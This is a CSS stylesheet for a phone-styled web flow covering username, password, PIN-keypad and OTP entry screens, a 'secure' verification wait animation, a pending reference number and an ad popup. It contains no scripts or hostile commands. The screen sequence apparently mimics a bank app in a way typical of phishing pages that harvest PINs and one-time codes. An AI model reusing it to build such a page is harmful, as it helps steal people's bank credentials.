/* ========================= */
/* RESET */
/* ========================= */

*{
    margin:0;
    padding:0;
    box-sizing:border-box;
}

html,
body{
    width:100%;
    min-height:100%;
    -webkit-text-size-adjust:100%;
    scroll-behavior:smooth;
}

body{
    background:#d8d8d8;
    display:flex;
    justify-content:center;
    align-items:center;
    min-height:100vh;
    overflow-x:hidden;

    font-family:
    -apple-system,
    BlinkMacSystemFont,
    "Segoe UI",
    Roboto,
    Helvetica,
    Arial,
    sans-serif;
}

/* ========================= */
/* PHONE SCREEN */
/* ========================= */

.phone-screen{
    width:100%;
    max-width:390px;
    min-height:100vh;
    background:#fff;
    position:relative;
    overflow-x:hidden;
    overflow-y:auto;
    border-radius:28px;
    box-shadow:0 10px 35px rgba(0,0,0,0.10);
}

/* ========================= */
/* TOP BAR */
/* ========================= */

.top-bar{
    padding:16px 18px 10px;
}

.top-bar i{
    font-size:15px;
    color:#666;
    cursor:pointer;
}

/* ========================= */
/* STEP */
/* ========================= */

.step,
.page{
    display:none;
    min-height:100vh;
    position:relative;
    width:100%;
    padding-bottom:110px;
}

.step.active,
.page.active{
    display:block;
}

/* ========================= */
/* CONTENT */
/* ========================= */

.content{
    padding:0 16px 20px;
}

.center{
    text-align:center;
}

/* ========================= */
/* TITLES */
/* ========================= */

.small-title,
.mini-title{
    color:#8a8a8a;
    font-size:12px;
    margin-top:6px;
    margin-bottom:6px;
    font-weight:500;
}

.main-title{
    font-size:22px;
    color:#222;
    margin-top:2px;
    margin-bottom:22px;
    font-weight:700;
    line-height:1.3;
}

h1{
    font-size:20px;
    color:#111;
    line-height:1.3;
    margin-bottom:20px;
    font-weight:700;
}

h2{
    font-size:20px;
    color:#111;
    font-weight:700;
}

/* ========================= */
/* INPUT AREA LOGIN */
/* ========================= */

.input-area{
    position:relative;
}

.input-area input{
    width:100%;
    border:none;
    border-bottom:1.5px solid #ececec;
    padding-bottom:12px;
    padding-right:70px;
    font-size:16px;
    color:#222;
    outline:none;
    background:none;
}

.input-area input:focus{
    border-bottom:1.5px solid #ea1d3f;
}

.next-mini{
    position:absolute;
    right:0;
    top:-4px;
    width:40px;
    height:40px;
    border:none;
    border-radius:12px;
    background:#ef3d57;
    color:#fff;
    cursor:pointer;
    display:none;
}

.next-mini i{
    font-size:12px;
}

.count{
    text-align:right;
    margin-top:8px;
    color:#666;
    font-size:11px;
}

/* ========================= */
/* NOTE BOX */
/* ========================= */

.note-box{
    margin-top:24px;
    line-height:1.7;
}

.note-title{
    color:#666;
    margin-bottom:8px;
    font-size:12px;
}

.note-text{
    color:#8d8d8d;
    font-size:12px;
}

.note-text span{
    color:#df6d74;
}

.note-box h3{
    margin-bottom:6px;
    color:#111;
    font-size:13px;
}

.note-box p{
    color:#555;
    font-size:12px;
}

.note-box a{
    display:inline-block;
    margin-top:8px;
    color:#d81c3f;
    text-decoration:none;
    font-size:12px;
}

/* ========================= */
/* INPUT GROUP */
/* ========================= */

.input-group{
    margin-bottom:18px;
}

.input-group label{
    display:block;
    margin-bottom:8px;
    color:#444;
    font-size:12px;
    font-weight:600;
}

.input-group input{
    width:100%;
    height:42px;
    border:none;
    border-bottom:1px solid #ececec;
    font-size:14px;
    outline:none;
    background:none;
    color:#222;
}

.input-group input::placeholder{
    color:#a1a1a1;
}

.input-group input:focus{
    border-bottom:1px solid #ea1d3f;
}

/* ========================= */
/* BOTTOM STEP 1 */
/* ========================= */

.bottom-start{
    position:absolute;
    bottom:18px;
    left:0;
    width:100%;
    padding:0 20px;
}

.dont-account{
    text-align:right;
    color:#777;
    font-size:11px;
    margin-bottom:10px;
}

.bottom-buttons{
    display:flex;
    gap:10px;
    align-items:center;
}

.email-btn,
.apply-btn{
    flex:1;
    height:44px;
    border:none;
    border-radius:14px;

    display:flex;
    justify-content:center;
    align-items:center;

    text-align:center;
    padding:0 12px;

    font-size:11px;
    font-weight:600;
    line-height:1.2;

    cursor:pointer;
}

.email-btn{
    background:#f5f5f5;
    color:#555;
}

.apply-btn{
    background:#ef3d57;
    color:#fff;
}

/* ========================= */
/* USER TOP */
/* ========================= */

.top-user{
    display:flex;
    flex-wrap:wrap;
    justify-content:space-between;
    align-items:flex-start;
    gap:10px;
    margin-top:10px;
}

.user-label{
    font-size:11px;
    color:#6d6d6d;
    margin-bottom:4px;
}

#showUser,
#finalUser{
    font-size:15px;
    font-weight:600;
    color:#111;
    max-width:120px;
    word-break:break-word;
}

/* ========================= */
/* PHRASE */
/* ========================= */

.phrase-side{
    flex:1;
    display:flex;
    flex-direction:column;
    align-items:center;
}

.phrase-box{
    width:100%;
    max-width:130px;
    height:42px;
    background:#4b4f59;
    border-radius:14px;
    display:flex;
    justify-content:center;
    align-items:center;
    color:#fff;
    font-size:13px;
    font-weight:700;
    text-align:center;
}

.phrase-link{
    margin-top:10px;
    color:#ef6d6d;
    font-size:10px;
    text-align:center;
    line-height:1.5;
}

/* ========================= */
/* QUESTION CARD */
/* ========================= */

.question-card{
    margin-top:24px;
    background:#fff;
    border-radius:18px;
    padding:18px 14px;
    box-shadow:0 2px 10px rgba(0,0,0,0.05);
}

.question-card h3{
    text-align:center;
    color:#777;
    font-size:13px;
    margin-bottom:18px;
    line-height:1.5;
}

.question-buttons{
    display:flex;
}

.question-buttons button{
    flex:1;
    height:42px;
    border:none;
    font-size:13px;
    cursor:pointer;
}

.btn-no{
    background:#fff;
    color:#dd6d79;
}

.btn-yes{
    background:#ef3d57;
    color:#fff;
}

/* ========================= */
/* PASSWORD */
/* ========================= */

.password-section{
    margin-top:22px;
}

.password-section label{
    display:block;
    font-size:13px;
    color:#333;
    margin-bottom:10px;
}

.password-input{
    display:flex;
    width:100%;
    align-items:center;
    background:#fff;
    border:1px solid #ececec;
    border-radius:16px;
    padding:10px 12px;
    box-shadow:0 2px 8px rgba(0,0,0,0.04);
}

.password-input i{
    width:34px;
    height:34px;
    border-radius:10px;
    background:#f1f1f1;
    display:flex;
    justify-content:center;
    align-items:center;
    font-size:13px;
    color:#666;
    margin-right:10px;
    cursor:pointer;
}

.password-input input{
    border:none !important;
    outline:none;
    width:100%;
    font-size:14px;
    background:transparent;
}

.password-section a{
    display:block;
    margin-top:10px;
    color:#666;
    text-decoration:none;
    font-size:11px;
}

/* ========================= */
/* BOTTOM LOGIN */
/* ========================= */

.bottom-card{
    position:relative;
    bottom:0;
    left:0;
    width:100%;
    background:#fff;
    padding:16px 20px 20px;
    border-top-left-radius:24px;
    border-top-right-radius:24px;
    box-shadow:0 -3px 18px rgba(0,0,0,0.05);
}

.bottom-login p{
    text-align:center;
    color:#777;
    line-height:1.7;
    font-size:10px;
    margin-bottom:14px;
}

.bottom-login span{
    color:#d85b68;
}

/* ========================= */
/* BUTTON */
/* ========================= */

.next-big,
.bottom-btn button{
    width:100%;
    height:40px;
    border:none;
    border-radius:12px;
    background:#ef3d57;
    color:#fff;
    font-size:13px;
    font-weight:600;
    cursor:pointer;
}

.bottom-btn{
    position:absolute;
    bottom:18px;
    left:0;
    width:100%;
    padding:0 20px;
}

/* ========================= */
/* PIN */
/* ========================= */

.pin-title{
    margin-top:22px;
    color:#666;
    font-size:12px;
}

.pin-circle{
    display:flex;
    justify-content:center;
    gap:8px;
    margin:18px 0 24px;
}

.pin-circle span{
    width:10px;
    height:10px;
    border:1.5px solid #bdbdbd;
    border-radius:50%;
    transition:0.2s;
}

.pin-circle span.active{
    background:#ea1d3f;
    border-color:#ea1d3f;
}

/* ========================= */
/* KEYPAD */
/* ========================= */

.keypad{
    display:grid;
    grid-template-columns:repeat(3,1fr);
    gap:8px;
    width:100%;
    margin-top:10px;
}

.keypad button{
    border:none;
    background:none;
    font-size:22px;
    color:#333;
    height:48px;
    cursor:pointer;
    border-radius:12px;
    transition:0.2s;
}

.keypad button:hover{
    background:#f5f5f5;
}

.keypad button:active{
    transform:scale(0.95);
    background:#ececec;
}

/* ========================= */
/* OTP */
/* ========================= */

.otp-text{
    color:#555;
    line-height:1.5;
    font-size:12px;
}

.phone-number{
    margin-top:8px;
    font-size:13px;
    color:#666;
    font-weight:500;
    letter-spacing:0.5px;
}

.valid-text{
    margin-top:10px;
    color:#666;
    font-size:10px;
}

.otp-code{
    font-size:28px;
    letter-spacing:4px;
    color:#d1d1d1;
    margin-top:22px;
    text-align:center;
}

.line{
    width:100%;
    height:1px;
    background:#eee;
    margin-top:14px;
}

.otp-pad{
    margin-top:20px;
}

/* ========================= */
/* SECURE */
/* ========================= */

.secure-title{
    margin-top:10px;
}

.secure-text{
    margin-top:12px;
    color:#555;
    line-height:1.6;
    font-size:12px;
}

.animation-box{
    margin-top:34px;
}

.dot{
    width:12px;
    height:12px;
    background:#ea1d3f;
    border-radius:50%;
    margin:auto;
    margin-bottom:16px;
    animation:pulse 1s infinite;
}

.phone-icon{
    font-size:48px;
}

@keyframes pulse{

    0%{
        transform:scale(1);
        opacity:1;
    }

    100%{
        transform:scale(1.6);
        opacity:0;
    }

}

.progress-bar{
    width:100%;
    height:6px;
    background:#f1f1f1;
    border-radius:30px;
    margin-top:20px;
    overflow:hidden;
}

.progress{
    width:30%;
    height:100%;
    background:#ea1d3f;
    animation:loading 3s infinite;
}

@keyframes loading{

    0%{
        width:0%;
    }

    100%{
        width:100%;
    }

}

.time-text{
    margin-top:10px;
    color:#777;
    font-size:10px;
}

.cant{
    display:block;
    margin-top:34px;
    color:#d81c3f;
    text-decoration:none;
    font-size:10px;
}

/* ========================= */
/* STATUS */
/* ========================= */

.status-box{
    display:flex;
    align-items:center;
    gap:10px;
    padding:14px 0;
    border-bottom:1px solid #eee;
}

.warning{
    width:24px;
    height:24px;
    background:#ff5c00;
    border-radius:50%;
    display:flex;
    justify-content:center;
    align-items:center;
    color:#fff;
    font-weight:bold;
    font-size:12px;
}

.info-box{
    margin-top:14px;
    padding-bottom:14px;
    border-bottom:1px solid #eee;
    line-height:1.6;
}

.info-box p{
    color:#555;
    font-size:11px;
}

.info-box a{
    color:#d81c3f;
    text-decoration:none;
    font-size:11px;
}

.feature-box{
    margin-top:18px;
}

.feature-box h4{
    margin-bottom:10px;
    color:#111;
    font-size:13px;
}

.feature{
    display:flex;
    justify-content:space-between;
    align-items:center;
    padding:12px 0;
    border-bottom:1px solid #f1f1f1;
    font-size:11px;
}

.active-area{
    text-align:right;
}

.active-area small{
    color:#2ba861;
    display:block;
    margin-bottom:4px;
    font-size:9px;
}

.amount{
    border:1px solid #ddd;
    border-radius:6px;
    padding:3px 6px;
    font-size:9px;
}

.reference-box{
    background:#f8f8f8;
    border:1px solid #ececec;
    border-radius:14px;
    padding:14px;
    margin:16px 0;
}

.ref-label{
    font-size:11px;
    color:#777;
    margin-bottom:8px;
}

.ref-number{
    font-size:16px;
    font-weight:700;
    letter-spacing:1px;
    color:#111;
    margin-bottom:8px;
    word-break:break-word;
}

.ref-note{
    font-size:11px;
    color:#666;
    line-height:1.5;
}

.pending-status{
    color:#ff6b00;
    font-weight:600;
}

.bank-note{
    margin-top:16px;
    font-size:11px;
    line-height:1.6;
    color:#555;
}

/* ========================= */
/* MOBILE FULL SCREEN */
/* ========================= */

@media(max-width:700px){

    html{
        font-size:14px;
    }

    body{
        background:#f3f3f3;
        padding:10px;
        overflow-x:hidden;
        overflow-y:auto;

        display:flex;
        justify-content:center;
        align-items:flex-start;
    }

    .phone-screen{
        width:100%;
        max-width:420px;
        min-height:100vh;

        border-radius:24px;
        box-shadow:0 8px 25px rgba(0,0,0,0.08);

        overflow-y:auto;
    }

    .content{
        padding:0 18px 22px;
    }

    .bottom-start{
        padding:0 18px;
    }

    .bottom-btn{
        padding:0 18px;
    }

    .bottom-card{
        padding:16px 18px 18px;
    }

}

/* ========================= */
/* POPUP IKLAN */
/* ========================= */

.popup-iklan{
    position:fixed;
    inset:0;

    width:100%;
    height:100vh;

    background:rgba(0,0,0,0.55);

    display:flex;
    justify-content:center;
    align-items:center;

    padding:16px;

    z-index:99999;

    overflow:hidden;
}

.popup-content{
    position:relative;

    width:100%;
    max-width:380px;

    animation:popupShow .25s ease;
}

.popup-content img{
    width:100%;
    display:block;

    border-radius:20px;

    box-shadow:0 10px 35px rgba(0,0,0,0.28);
}

.close-btn{
    position:absolute;

    top:-10px;
    right:-10px;

    width:32px;
    height:32px;

    border:none;
    border-radius:50%;

    background:#fff;
    color:#111;

    font-size:16px;
    font-weight:bold;

    cursor:pointer;

    box-shadow:0 4px 12px rgba(0,0,0,0.18);

    z-index:2;
}

.close-btn:hover{
    background:#f3f3f3;
}

@keyframes popupShow{

    from{
        transform:scale(.92);
        opacity:0;
    }

    to{
        transform:scale(1);
        opacity:1;
    }

}

@media(max-width:700px){

    .popup-content{
        max-width:100%;
    }

    .popup-content img{
        border-radius:16px;
    }

}
